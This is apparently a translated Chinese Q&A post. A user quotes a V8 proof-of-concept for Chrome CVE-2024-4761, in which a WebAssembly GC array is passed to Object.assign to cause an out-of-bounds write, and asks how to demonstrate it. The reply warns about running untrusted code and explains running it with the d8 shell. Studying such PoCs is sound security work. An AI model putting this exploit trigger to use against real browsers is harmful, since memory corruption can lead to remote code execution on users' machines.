我正在阅读一篇关于 Google Chrome 中 CVE 概念证明(OOB 问题) 的文章,其中包含以下代码片段:(https://medium.com/@elniak/cve-2024-4761-exploiting-chromes -javascript-engine-highly-exploited-poc-presented-dcf9cab95c00)
const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);
builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
])
.exportFunc();
/*
builder.addFunction('set', makeSig([kWasmExternRef, kWasmI32, kWasmI32], []))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprAnyConvertExtern,
kGCPrefix, kExprRefCastNull, array,
kExprLocalGet, 1,
kExprLocalGet, 2,
kGCPrefix, kExprArraySet, array,
])
.exportFunc();
*/
let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
// %DebugPrint(array42);
let src = {};
src.a = 1;
delete src.a;
for (let i = 0; i < 1024; i++) {
src[`p${i}`] = 1;
}
// %DebugPrint(src);
// %SetDataProperties(array42, src);
Object.assign(array42, src);
所以,它似乎是在 JS 中。
如何演示此代码片段的工作原理?
我尝试将其另存为 .js 文件并在 Chrome 浏览器(应用程序版本 110.80)中打开它
没有任何作用。我不知道它有何危害或可能允许 RCE。需要一些有关代码片段的潜在利用的信息。
这是为了教育目的
如果您不熟悉来自不受信任来源的一段代码,通过阅读/研究它会做什么,那么您运行它是一个非常非常糟糕的主意。 对于提供的与安全漏洞相关的片段尤其如此,其中出现严重错误的可能性更高,无论是无意还是其他原因。
特别是对于这个 PoC,您应该预期它可能会导致您的系统出现严重不稳定,因为它能够写入任意内存位置。
您感兴趣的概念验证代码指的是全局
d8
变量,这非常强烈地表明这是旨在与 V8 引擎的
d8
命令行开发人员工具一起使用的代码。在本地计算机上安装 d8
(以及易受相关 CVE 攻击的 V8
引擎版本)后,您可以将此代码段保存到文件中,并使用
d8
调用它大多数其他命令行程序,即
d8 script.js
。